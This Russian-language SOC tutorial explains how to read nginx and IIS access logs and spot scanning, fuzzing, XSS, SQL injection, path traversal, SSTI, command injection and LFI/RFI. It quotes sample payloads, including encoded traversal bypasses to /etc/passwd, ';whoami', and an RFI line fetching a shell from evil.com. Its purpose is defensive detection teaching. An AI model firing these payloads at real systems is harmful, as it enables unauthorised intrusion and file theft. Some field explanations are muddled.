Анализ веб-логов: первый шаг к защите инфраструктуры
Прежде чем анализировать события, получаемые из веб‑приложений, важно понять, какие вообще серверы есть в инфраструктуре. В большинстве случаев компании используют не один сайт или сервер, а десятки: одни доступны в интернете, другие работают только внутри организации.
Наиболее популярные веб‑ресурсы и среды выполнения:
- nginx — веб‑сервер и обратный прокси. В современных инфраструктурах чаще всего располагается на периметре: принимает от пользователей HTTP‑ и HTTPS‑запросы, перенаправляет их на внутренние сервисы. Поэтому его логи — один из первых источников информации о внешней активности, включая сканирование и атаки.
- IIS — веб‑сервер от Microsoft, глубоко интегрированный с операционной системой Windows. Чаще всего используется, чтобы размещать приложения на платформе .NET. Логи IIS позволяют анализировать взаимодействие пользователей с приложением и выявлять аномалии на уровне бизнес‑логики.
- Apache — классический веб‑сервер, который широко применялся в предыдущих поколениях инфраструктур. Сейчас чаще встречается в legacy‑системах, однако по‑прежнему остается важным источником событий кибербезопасности из‑за своей распространенности.
- Node.js — среда выполнения JavaScript, в рамках которой разработчики самостоятельно реализуют веб‑серверную логику. В отличие от классических веб‑серверов, формат и содержание логов здесь зависят от реализации приложения, однако в них также есть ценные данные для анализа активности.
Несмотря на различие в технологиях, у всех этих решений есть общая особенность — они содержат полезные события для аналитиков SOC. Каждый HTTP‑запрос, который приходит на веб‑сервер, оставляет данные, например обращение к странице, попытку авторизации, ошибку или даже вредоносный запрос. Все эти события записываются в логи, которые аналитик отслеживает и использует для анализа подозрений на инциденты.
В статье сосредоточимся на самых распространенных источниках логов — nginx и IIS. Разберемся, где в этих системах хранятся события, как они выглядят и какую полезную информацию из них может извлечь специалист SOC.
В практической части сгенерируем подозрительную активность и выясним, как она отражается в логах. В качестве примера рассмотрим простые техники: фаззинг (перебор путей) и атаку типа path traversal. Это позволит не просто увидеть логи, а понять, как именно в них выглядит поведение атакующего и на что стоит обращать внимание при анализе.
Чтение информации о событиях
Разберем детальнее основные методы HTTP:
| GET |
Получение данных |
Часто используется при сканировании и фаззинге |
| POST |
Отправка данных |
SQL-инъекции, брутфорс |
| PUT |
Изменение ресурса |
Редкие события |
| DELETE |
Удаление ресурса |
Редкие события |
| HEAD |
Только заголовки |
Проверка наличия ресурса |
| OPTIONS |
Запрос возможностей сервера |
Для понимания, какие методы доступны на сервере |
HTTP-код ответа (404) можно разделить на группы:
| 2xx |
Успешный запрос |
Обращения к чувствительным ресурсам |
| 3xx |
Редирект |
Перенаправление на фишинговые страницы |
| 4xx |
Ошибка клиента |
Частые запросы с одного IP‑адреса — признак фаззинга или сканирования |
| 5xx |
Ошибка сервера |
Попытки эксплуатации уязвимостей |
Теперь перейдем к практике.
Логи nginx
В Unix‑системах nginx по умолчанию сохраняет логи в директории /var/log/nginx/. В этой папке содержатся два основных файла событий:
access.log— все входящие HTTP‑запросы,error.log— ошибки сервера.
Типичные строки access.log в nginx выглядят так:
В этом access.log мы видим следующее:
Дальше разберем, на что обратить внимание при анализе этого лога.
Разбор структуры access.log
Для примера используем первую строку:
192.168.133.1 - - [06/Apr/2026:12:26:46 +0300] "GET / HTTP/1.1" 404 184 "_" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebkit/537.36 (KHTML, L ike Gecko) Chrome/147.0.0.0 Safari/537.36*
192.168.133.1— это IP‑адрес, с которого пришел запрос. Важно понимать, что это не всегда адрес реального пользователя. Часто перед сервером nginx стоят балансировщики нагрузки, CDN или обратный прокси, из‑за чего в логах отображается IP‑адрес промежуточного узла. Для корректной идентификации исходного клиента аналитикам SOC необходимо учитывать заголовкиX‑Forwarded‑ForиX‑Real‑IP, а также убедиться, что nginx корректно настроен. Игнорирование этих параметров — частая ошибка интерпретации событий. Например, множество запросов с одного IP‑адреса может быть воспринято как атака с одного источника, хотя фактически это трафик с прокси‑сервера.[06/Apr/2026:12:26:46 +0300]— метка, которая отражает время выполнения запроса.GET / HTTP/1.1— HTTP‑запрос, который содержит сразу несколько элементов: метод (GET, POST и т. д.), путь (URL), версию протокола.404— HTTP‑метод, означает, что страница не найдена.184— размер ответа в байтах, полезный артефакт для определения объемов файла/файлов.Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebkit/537.36 (KHTML, L ike Gecko) Chrome/147.0.0.0 Safari/537.36— user agent, строка, с помощью которой клиент представляется серверу. Она позволяет определить браузер, его версию и операционную систему, а также помогает выявить автоматизированные инструменты, например nmap, sqlmap. Однако user agent легко подделать.
Проанализировав код, мы поняли, что был выполнен запрос к корневому ресурсу GET /, который завершился кодом 404 Not Found. Значит, запрашиваемой страницы на сервере нет. User agent идентифицирует клиент как браузер Chrome на macOS. Чтобы определить, легитимная ли активность, необходимо проверить больше записей. В этом примере доступно только 3 записи. Для полноценного анализа этого недостаточно: вывод о характере активности делается на основе совокупности событий, а не отдельных строк.
Логи IIS
В Windows‑среде IIS хранит логи в директории: C:\inetpub\logs\LogFiles\.
Может показаться, что структура событий аналогична nginx, однако формат IIS отличается, и это важно учитывать при анализе. IIS записывает события в W3C Extended Log File Format.
Разберем пример детальнее:
2026-04-24 14:15:59 10.3.132.124 GET /favicon.ico - 443 - 172.31.64.179 Mozilla/5.0+(Macintosh;+Intel+Mac+05+X+10_15_7)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/147.0.0.0+Safari/537.36 https://10.3.132.124/ 400 0 2 100
Разбор структуры события IIS
2026-04-24 14:15:59— дата и время события. В IIS лог начинается с даты и времени, это первое отличие от nginx.10.3.132.124— IP‑адрес веб‑сервера. Важно понимать, что это адрес не источника запроса, а хоста, на котором запущен IIS. Знание адреса сервера полезно при расследовании атак на несколько веб‑ресурсов компании. Поле позволяет понять, какой именно сервер был целью./favicon.ico— HTTP‑метод. GET/favicon.icoозначает, что был запрос на получение данных с ресурса.443— это не HTTP‑код, а порт HTTPS.172.31.64.179— адрес источника запроса. Еще одно отличие от nginx, где источник указан в начале события.Mozilla/5.0+(Macintosh;+Intel+Mac+05+X+10_15_7)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/147.0.0.0+Safari/537.36— user agent, по которому можно сделать вывод, что инициатор использовал MacBook.https://10.3.132.124/— поле referer, то есть адрес, откуда перешел пользователь. Иногда в этом поле указан символ-, что значит отсутствие referer (например, пользователь ввел URL вручную, перешел из закладок или источник скрыт). Для аналитика SOC это поле имеет важное значение, так как:- Позволяет определить цепочку переходов пользователя по веб‑приложению.
- Помогает выявить фишинговые атаки, когда пользователь приходит с внешнего подозрительного домена.
- Может указывать на эксплуатацию уязвимостей, если переход идет с нетипичных или специально сформированных URL.
400 0 2 100— HTTP‑коды ответов.
В IIS используется 3 поля:
sc-status— HTTP‑статус (404);sc-substatus— уточнение ошибки;sc-win32-status— код Windows.
Конечное число 100 — это время выполнения запроса в миллисекундах.
Подытожим, чем формат IIS‑логов отличается от nginx:
- событие начинается с даты и времени;
- сначала указывается IP‑адрес сервера, а не клиента;
- используется более расширенная система кодов ответа.
При анализе важно правильно интерпретировать поля, иначе можно ошибочно определить источник запроса или характер события.
Зафиксируем ключевые коды ответов, на которые аналитик должен обращать внимание в первую очередь:
- Код 200 на чувствительных ресурсах вроде
/adminили/api— возможный несанкционированный доступ. - Массовые коды 404 с одного адреса — признак сканирования или фаззинга.
- Коды 500 после нестандартных запросов — возможная попытка эксплуатации уязвимости.
- Коды 3xx — потенциальное свидетельство о перенаправлении на фишинговые ресурсы.
Сам по себе код не является однозначным индикатором атаки — вывод всегда делается на основе совокупности событий. Подробнее расскажем в разделе «Признаки подозрительной активности».
Команды для анализа логов
При анализе логов читать их построчно неэффективно. Объем данных слишком большой, и при ручном отборе легко не заметить важные события, которые произошли с веб‑приложением клиента. Для эффективного анализа используются следующие команды:
grep "192.168.1.10" access.log |
Используется, когда есть информация о конкретном IP‑адресе, который может быть связан с активностью злоумышленников. На практике это происходит довольно часто, например, когда подозрительное поведение зафиксировали уже внутри сети. Если часть инфраструктуры не подключена к полноценному мониторингу, бывают ситуации, когда аномальные команды на хостах фиксируются, но полноценной картины происходящего нет. Например, внутри сети зафиксирован хост, который пытался обратиться к внешнему C2‑серверу. В этом случае команда grep позволяет быстро проверить, были ли с внутреннего адреса запросы на веб‑сервер. Это помогает восстановить полную картину активности скомпрометированного хоста |
awk '{print $1}' access.log | sort | uniq -c | sort -nr |
Позволяет быстро определить, какие источники наиболее активные в логах, и обнаружить IP‑адреса с аномально высокой активностью |
cut -d '"' -f 2 access.log | sort | uniq -c | sort -nr |
Позволяет проанализировать самые частые запросы (endpoint frequency) и понять:
|
grep -E "500|502|503|504|404" access.log |
Позволяет быстро выбрать из лога все события с кодами ошибок: серверными (500, 502, 503, 504) и клиентскими (404). Помогает выявить массовые ошибки, которые могут указывать на сканирование, фаззинг или попытки эксплуатации уязвимостей. Большое количество 404 с одного IP‑адреса — это признак перебора путей; массовые 500 после нестандартных запросов — возможная эксплуатация |
Результаты анализа логов
Сам по себе лог ничего не значит. Ценность появляется, когда аналитик рассматривает логи в совокупности и пытается понять поведение источника запросов: что запрашивается, как часто и в какой последовательности.
Ключевые направления анализа
- Понимание нормального поведения пользователей. Формирование картины нормальной работы сервиса: какие страницы чаще всего запрашиваются, в какое время происходит основная активность, с каких IP‑адресов обычно обращаются к сайту.
- Выявление аномалий. Фиксация отклонений от нормального поведения: резкого роста количества запросов, необычных URL, большого количества ошибок 404, доступа к путям, которые обычный пользователь никогда не открывает.
- Выявление признаков атак. Обнаружение простых техник вроде перебора страниц, фаззинга или попыток обхода директорий (path traversal), а также более сложных атак — через комбинацию мелких аномалий.
- Восстановление цепочки событий. Анализ произошедшего: с какого IP‑адреса началась активность, какие запросы были выполнены, когда были первые попытки атаки и т. д.
В большинстве случаев специалисты анализируют события автоматизированно — с помощью SIEM‑решения с настроенными правилами. Но в некоторых случаях, например при расследованиях в рамках форензики, приходится смотреть логи самостоятельно, используя стандартные утилиты: cat, head, notepad и т. д.
Признаки подозрительной активности
При анализе веб-логов важно не только смотреть на отдельные события, но и выявлять характерные паттерны поведения.
Базовые признаки подозрительной активности:
| Признак | Почему это подозрительно | Что делать аналитику |
|---|---|---|
| Много запросов с одного IP‑адреса |
Возможно, результат работы ботов или сканеров |
Проверить, какие URL запрашивались с этого IP‑адреса, и при необходимости ограничить доступ |
| Большое количество ошибок 404 |
Перебор путей (фаззинг), поиск скрытых ресурсов |
Посмотреть список URL, проверить наличие успешных (200) ответов, порекомендовать заблокировать IP‑адрес |
Обращения к /admin, /.env и /.git |
Типовые цели автоматических сканеров |
Проверить user agent и масштаб активности |
Частые запросы к /login и /auth |
Попытки подбора пароля (брутфорс) |
Проверить, был ли успешный вход (200 после ряда ошибок с кодом 4xx) |
| Появление 500 после нестандартных запросов |
Возможные попытки эксплуатации уязвимостей |
Проанализировать параметры запроса, с помощью открытых источников проверить, есть ли готовые эксплоиты с такими же обращениями |
На практике эти признаки редко встречаются по отдельности. Обычно атакующий сначала сканирует сайт, затем проводит брутфорс‑атаки или эксплуатирует уязвимости.
Наиболее распространенные типы атак
XSS (cross‑site scripting)
Это атака, при которой злоумышленник пытается внедрить JavaScript‑код в параметры запроса, которые затем отображаются в браузере пользователя без обработки.
Веб-приложения часто возвращают пользовательский ввод обратно в HTML, например:
/search?q=hello/profile?name=user
Если приложение не экранирует данные, атакующий может внедрить JavaScript‑код, который выполнится в браузере жертвы. В результате злоумышленник получит cookie‑файлы сессии, токены авторизации и другие данные, а также возможность перенаправить пользователя на фишинговые ресурсы.
Примеры запросов:
- <script>alert(1)</script>
- <img src=x onerror=alert(1)>
В событиях это фиксируется так:
Основные данные в примере:
192.168.133.1— IP‑адрес источника запроса./search?q=<script>alert(1)</script>— попытка внедрения JavaScript‑кода.200— подтверждение, что сервер принял запрос. Это не однозначное подтверждение уязвимости. Приложение могло экранировать входные данные и вернуть 200 без выполнения скрипта. Однако в сочетании с характером запроса это повод для дополнительной проверки.- User agent — идентифицирует обычный браузер. Атакующие могут намеренно использовать стандартный user agent для маскировки под легитимного пользователя.
/search?q=<script>alert(1)</script>— попытка внедрить JavaScript‑код. Код ответа 200 означает, что сервер принял запрос и, возможно, уязвим для XSS-атак.
Для аналитика ключевой сигнал — наличие HTML‑тегов или JavaScript‑конструкций вида <script>, <img onerror=...> и подобных в параметрах запроса. Код ответа 200 сам по себе не подтверждает успешность атаки: приложение могло экранировать ввод и вернуть страницу без выполнения скрипта. Поэтому XSS-попытки в логах следует рассматривать как сигнал для дополнительного расследования. В первую очередь стоит проверить, возвращается ли переданный код в теле ответа и есть ли жалобы пользователей на аномальное поведение интерфейса.
SQL injection
Эта атака характеризуется тем, что злоумышленник пытается вмешаться в логику SQL‑запроса, который выполняется на стороне базы данных через веб‑приложение. Веб‑приложения почти всегда взаимодействуют с базой данных.
Для аналитика SQL‑инъекции проявляются как характерные аномалии в запросах и поведении источника. Специалисты обращают внимание на типичные SQL‑пейлоады в различных параметрах, а также на перебор вариантов таких пейлоадов одним источником. Часто наблюдается серия однотипных запросов с небольшими изменениями, что может указывать на работу автоматизированных утилит (фаззинг). Ключевая задача аналитика — выявлять паттерны атак и отличать массовые сканирования от целенаправленных попыток эксплуатации.
Например, при авторизации пользователь вводит логин и пароль. Сервер формирует специальный SQL‑запрос к базе данных, чтобы проверить, существует ли такой пользователь и правильный ли пароль он ввел.
Это может выглядеть так:
SELECT * FROM users WHERE username = 'admin' AND password = 'SecretPasswordAdmin';
Далее сервер базы данных возвращает результат: корректные данные или нет.
Если приложение напрямую, без фильтрации вставляет пользовательские данные в SQL‑запрос, атакующий может изменить логику запроса, например, следующим образом:
SELECT * FROM users WHERE username = 'admin'--' AND password = 'SecretPasswordAdmin';
Символы — означают комментарий в SQL‑языке. То есть база данных проигнорирует запрос AND password = 'SecretPasswordAdmin';, так как воспримет его как комментарий.
Запрос вида SELECT * FROM users WHERE username = 'admin' значит уточнение, есть ли пользователь admin в базе. Сервер сообщит веб‑серверу, что данные корректны, атакующий зайдет под учетной записью admin.
Пример запросов SQL‑инъекций:
' OR 1=1 -- admin' --
В событиях это фиксируется так:
Основные данные в примере:
/login?user=admin'--— попытка изменить SQL‑логику. Символы — комментируют оставшуюся часть запроса, в том числе проверку пароля.pass=123— пароль становится неважным, так как часть запроса с его проверкой закомментирована символами--, поэтому база данных ее игнорирует.200— подтверждение, что сервер обработал запрос. В контексте страницы авторизации код 200 после подобного ввода может указывать на успешный обход аутентификации. Однако для подтверждения необходимо проанализировать дополнительные события, например последующие действия от имени этой учетной записи./login— типичная точка аутентификации на сайтах.
Ключевой сигнал — наличие в параметрах запроса характерных SQL‑конструкций: одинарных кавычек, символов комментария --, операторов OR 1=1 и подобных. Особое внимание стоит обратить на эндпоинты аутентификации /login, /auth и аналогичные: код 200 после запроса с SQL‑пейлоадом может указывать на успешный обход проверки. Дополнительным признаком работы автоматизированных инструментов служит серия однотипных запросов с небольшими вариациями — это характерный паттерн утилит вроде sqlmap. В таких случаях важно проверить не только сам запрос, но и последующую активность от имени учетной записи, под которой мог войти атакующий.
Path traversal
Во время этой атаки злоумышленник пытается выйти за пределы веб‑директории сервера и получить доступ к файлам, которые не должны быть доступны через веб‑интерфейс.
Веб-приложения часто работают с файлами через параметры в URL, например:
/download?file=report.pdf/page?template=index.html
Если приложение не проверяет, что передается в этот параметр, атакующий может подставить путь вида ../../etc/passwd. Тогда вместо нужного файла приложение откроет системный.
Последовательность ../ означает «перейти на уровень выше в файловой системе». Повторяя ее несколько раз, атакующий поднимается от веб‑директории до корня системы и пытается добраться до чувствительных файлов:
/etc/passwd— список пользователей системы./etc/shadow— хеши паролей.C:\Windows\System32\config\SAM— база паролей в Windows.
Поскольку некоторые приложения фильтруют прямые ../, атакующие используют обходы:
..%2f..%2fetc/passwd # URL-encoded / ..%252f..%252fetc/passwd # двойное кодирование ....//....//etc/passwd # дублирование для обхода простых фильтров
В событиях это фиксируется так:
Основные данные в примере:
192.168.133.1— IP‑адрес инициатора атаки./download?file=../../etc/passwd— попытка прочитать системный файл.500— серверная ошибка. Она может указывать на то, что приложение не справилось с обработкой запроса: сработала защита, произошла ошибка в логике или входные данные не прошли валидацию. Код 500 не является однозначным подтверждением отражения атаки. В некоторых случаях приложение может вернуть ошибку и частично выполнить запрос.
Ключевой сигнал для аналитика — наличие в параметрах запроса последовательностей ../, а также их закодированных вариантов: %2f, %252f и дублированных форм. Особое внимание стоит уделять параметрам, которые принимают имена файлов или пути: file=, template=, page= и т. д. Код ответа менее показателен, чем сам запрос. И 500, и 200 требуют проверки: первый не гарантирует, что атака не сработала, второй не подтверждает, что файл был отдан. Дополнительный признак автоматизированного сканирования — серия запросов с перебором путей и глубины вложенности от одного источника.
SSTI (server‑side template injection)
Это атака, при которой злоумышленник внедряет код в шаблонизатор на сервере. В отличие от XSS, код выполняется на сервере, а не в браузере. Эта атака возможна исключительно в шаблонизаторах (Jinja2, Twig и т. д.).
Примеры запросов:
- {{7*7}}
- {{config.__class__}}
В событиях это фиксируется так:
Основные данные в примере:
{{7*7}}— попытка выполнить выражение.49— результат вычисления выражения{{7*7}}, который сервер вернул бы при наличии уязвимости. Однако ответы сервера в логах не фиксируются, поэтому по записи вaccess.logнельзя однозначно установить, вернул ли сервер именно это значение. Подтвердить наличие SSTI можно только при ручной проверке приложения или через анализ поведения на стороне сервера.200— подтверждение, что сервер обработал шаблон. Это не означает, что атака была успешной. Приложение могло вернуть 200 и при этом экранировать или проигнорировать шаблонное выражение. Код ответа здесь менее информативен, чем содержимое запроса.
Для аналитика ключевой сигнал — шаблонные выражения вида {{...}}, ${...} в параметрах запроса. Сам по себе код 200 не подтверждает уязвимость: приложение могло принять запрос, но экранировать или отфильтровать содержимое. Поэтому SSTI стоит рассматривать как подозрительную активность, требующую дополнительной проверки, а не как однозначно успешную атаку.
Command injection
Это атака, при которой злоумышленник выполняет системные команды через веб‑приложение. Такое возможно, когда приложение использует пользовательский ввод для формирования команд операционной системы и не фильтрует его.
Рассмотрим на примере. /ping?host=ya.ru — это функция проверки доступности хоста. Если ввод пользователя не фильтруется, атакующий может «разорвать» команду и добавить свою. Это возможно с помощью специальных символов интерпретатора командной строки (shell), таких как ;, && или |, которые позволяют объединять и последовательно выполнять несколько команд в Linux.
Примеры запросов:
; ls| whoami
В событиях это фиксируется так:
Основные данные в примере:
/ping?host=127.0.0.1;whoami— попытка внедрения команды.;whoami— явный показатель атаки command injection.200— подтверждение, что сервер обработал шаблон.
В большинстве случаев, связанных с взаимодействием с ОС (ping, traceroute, cat, echo и т. д.) аналитик видит command injection как попытки внедрить специальные символы (;, &&, |) и системные команды в параметры запроса. Такая структура указывает на попытку разрыва исходной команды и выполнения дополнительной.
LFI/RFI (local/remote file inclusion)
Атака, при которой злоумышленник пытается загрузить локальный (LFI) или внешний файл (RFI). В отличие от path traversal, приложение не просто читает файл, а подключает его содержимое и выполняет как код.
Во многих веб‑приложениях есть механика страниц, которая выглядит следующим образом: /page?page=catalog1, /page?page=catalog2. Если параметр page не проверяется, атакующий может подставить различные запросы.
Примеры запросов:
/index.php?page=../../etc/passwd/index.php?page=http://evil.com/shell.txt
В событиях это фиксируется так:
Основные данные в примере:
page=../../etc/passwd— попытка подменить файл, чтобы прочитать/etc/passwd, расположенный на хосте.500— уведомление, что сервер вернул ошибку при обработке запроса. Может значить, что приложение не справилось с нестандартным вводом, но не является однозначным подтверждением отражения атаки. В некоторых случаях ошибка возникает после частичного выполнения запроса, например файл был найден, но его не удалось корректно подключить. Поэтому код 500 в контексте LFI/RFI — это сигнал для дополнительного расследования, а не свидетельство неудачной атаки.
Для аналитика ключевой сигнал — наличие специальных символов (;, &&, |) в параметрах запроса, особенно в тех, которые по логике приложения взаимодействуют с операционной системой: ping, traceroute, cat, echo и подобных. Появление после таких символов системных команд — явный признак попытки разрыва исходной команды и выполнения произвольного кода. Код ответа 200 в этом контексте требует особого внимания: он может указывать на то, что команда была принята и выполнена.
Последствия успешной эксплуатации веб‑уязвимости
Веб-логи фиксируют факт попытки атаки. При успешной эксплуатации вредоносная активность переходит на уровень операционной системы, где становится видно реальное воздействие атакующих на сервер.
При успешной эксплуатации уязвимости атакующий может выполнять произвольный код от имени пользователя, под учетной записью которого запущен веб‑сервер. Например, www‑data, nginx, apache, IIS APPPOOL. Поэтому важно смотреть не только на веб‑логи, но и на поведение системы в целом.
В первую очередь стоит проверить запуск процессов. При успешной атаке злоумышленник выполняет команды уже на сервере. Чаще всего это приводит к появлению процессов, нехарактерных для него. Если от имени веб‑сервера появляются такие процессы, как bash, sh, cmd.exe, powershell.exe, python, — это сигнал, требующий немедленной проверки. В штатной работе веб‑приложение не должно инициировать интерактивные оболочки или системные утилиты. Подробнее о том, как злоумышленники используют в атаках легитимные утилиты Windows, мы рассказали в предыдущей статье.
Отдельное внимание нужно уделить сетевой активности. Веб‑сервер, как правило, принимает входящие соединения, но сам редко инициирует исходящие. Если вы видите подключения к внешним IP‑адресам (особенно на нестандартных портах), это может быть:
- подключение к C2,
- скачивание полезной нагрузки,
- проксирование трафика через скомпрометированный сервер.
Далее необходимо проверить файловую активность:
- появление новых файлов в веб‑директориях,
- изменение существующих файлов,
- появление исполняемых скриптов (веб‑шеллов).
Типичный признак — файлы с необычными именами или расширениями: shell.php, 1.php, test.jsp, а также файлы, замаскированные под изображения (image.php.jpg).
Оценить реальные последствия успешной атаки можно только на основе совокупности данных: веб‑логи фиксируют факт попытки, системные логи показывают, что происходило на сервере после, сетевой трафик — куда уходили данные и с чем взаимодействовал скомпрометированный хост, а файловая активность — что было создано или изменено. По отдельности эти источники не дают полной картины. Поэтому расследование инцидента на веб‑сервере всегда выходит за пределы анализа access.log и требует корреляции событий из нескольких источников.
Рекомендации по защите и противодействию
Выявив подозрительную активность, аналитик должен не только зафиксировать атаку, но и сформировать рекомендации для заказчика. Вот что можно предложить по результатам анализа:
- Ограничить частоту запросов. Например, если сайт подвергается брутфорс‑атаке, следует ограничить количество попыток входа. После достижения лимита IP‑адрес источника заблокируется на заданное время. Это снижает эффективность автоматизированных атак, однако не останавливает их полностью: злоумышленник может замедлить перебор или распределить запросы между несколькими адресами.
- Заблокировать подозрительные IP‑адреса после аномальной активности. Эта мера дает немедленный эффект. Важно понимать ограничения: блокировка одного адреса не останавливает атакующего, у которого есть доступ к пулу адресов или прокси. Поэтому блокировку стоит сочетать с другими мерами, а не рассматривать как самостоятельное решение.
- Скрыть чувствительные директории и файлы. Важно закрыть доступ к служебным директориям. Например,
/.git,/.env,/adminследует закрыть на уровне конфигурации веб‑сервера. Это не устраняет уязвимость, если она уже есть, но убирает очевидные цели для автоматических сканеров и снижает поверхность атаки. - Использовать WAF для анализа HTTP‑трафика и фильтрации типовых атак. В отличие от обычного межсетевого экрана WAF работает на уровне приложения и понимает структуру HTTP‑запросов. Это позволяет ему выявлять и блокировать атаки, которые не видит сетевой фаервол: SQL‑инъекции, XSS, path traversal, попытки обращения к скрытым директориям и перебор путей. WAF может работать как в режиме блокировки, так и в режиме мониторинга. Последнее полезно на начальном этапе, чтобы не заблокировать легитимный трафик. Важно понимать, что WAF не заменяет безопасную разработку: он снижает риск эксплуатации, но не устраняет уязвимость в коде приложения.
События веб‑приложений — одно из первых мест, откуда стоит начинать анализ инцидентов. Логи позволяют узнать, кто, когда, с какой целью пришел и что получил. Даже если веб‑сервер не отслеживается автоматизированно, можно загрузить файл с событиями и быстро выявить аномалии с помощью базовых инструментов вроде grep и awk.
Ключевой навык аналитика — не просто читать логи, а обнаруживать подозрительное поведение: распознавать этапы атаки и понимать, когда простое сканирование переходит в попытки эксплуатации. Этот навык позволяет не только обнаруживать атаки, но и быстрее реагировать на инциденты.